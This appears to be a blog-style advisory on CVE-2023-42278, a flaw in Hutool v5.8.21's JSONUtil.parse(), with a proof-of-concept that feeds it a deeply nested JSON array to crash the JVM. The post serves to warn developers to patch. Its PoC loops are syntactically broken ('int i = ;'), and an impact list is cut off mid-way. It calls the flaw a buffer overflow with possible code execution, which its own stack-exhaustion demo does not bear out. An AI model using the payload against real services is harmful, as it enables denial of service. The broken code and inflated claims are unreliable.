If you use Hutool for Java projects, this is something you need to know.
A critical buffer overflow vulnerability was found in Hutool v5.8.21, specifically in the JSONUtil.parse() method. This vulnerability, tracked as CVE-2023-42278, can be exploited by attackers to crash your application – and in some cases, run arbitrary code.
This post provides a clear explanation, simple proof of concept (PoC) code, and reference links. For original advisory, see:
- NVD Entry for CVE-2023-42278
What is Hutool?
Hutool is a popular Java utility library used widely in enterprise and open source projects in China and elsewhere. Its JSONUtil class makes it easy to parse and process JSON data — but that's also where this issue lives.
What’s the Vulnerability?
JSONUtil.parse() does not properly check the size and validity of input JSON strings. If an attacker sends a specially crafted large string, it can cause a buffer overflow. This happens because the function tries to parse an unexpectedly large or deeply nested JSON, and memory is not handled safely.
Data Corruption: It may mess up your data parsing.
- Remote Code Execution: In rare scenarios, attackers might execute code, especially if you use deserialization in later steps.
How Do Attackers Exploit This?
Attackers just need to send a huge or malformed JSON string to any part of your codebase that uses JSONUtil.parse(). If you have public API endpoints accepting JSON via Hutool’s JSONUtil, your app is at risk.
Code Example: Vulnerable Usage
import cn.hutool.json.JSONUtil;
public class VulnerableDemo {
public static void main(String[] args) {
// Simulate receiving a dangerous JSON string:
String maliciousInput = "[";
// Create a huge nested JSON array
for (int i = ; i < 1_000_000; i++) {
maliciousInput += "[";
}
for (int i = ; i < 1_000_000; i++) {
maliciousInput += "]";
}
maliciousInput += "]";
// This call will trigger Hutool's JSONUtil.parse and may cause overflow
JSONUtil.parse(maliciousInput);
}
}
If you run this code with Hutool v5.8.21, your JVM may crash with an out-of-memory error, stack overflow, or the process might become unresponsive. That’s a denial of service.
How the Exploit Works
The root of the problem is that JSONUtil.parse() uses recursive calls and buffer-based processing, but does not limit nesting depth or input length. Attackers exploit this by making the parser allocate a lot of memory or exceed stack limits.
References & Further Reading
- Official CVE entry: CVE-2023-42278 - NVD
- Hutool Github
- Hutool JSON Documentation
Summary Table
| Detail | Info |
|-----------------------|--------------------------------------|
| CVE ID | CVE-2023-42278 |
| Affected Version | Hutool v5.8.21 |
| Vulnerable Component | JSONUtil.parse() |
| Impact | Buffer overflow, DoS, possible RCE |
| Fixed In | v5.8.22 and above |
In Summary
CVE-2023-42278 is a serious memory overflow vulnerability in Hutool v5.8.21's JSONUtil.
If you don’t patch, attackers could crash your Java app — or worse.
Don’t wait: update Hutool and add JSON input checks right away!
*Written for developers and ops teams. Please share with anyone who uses Hutool!*
Timeline
Published on: 09/08/2023 22:15:12 UTC
Last modified on: 09/13/2023 00:29:44 UTC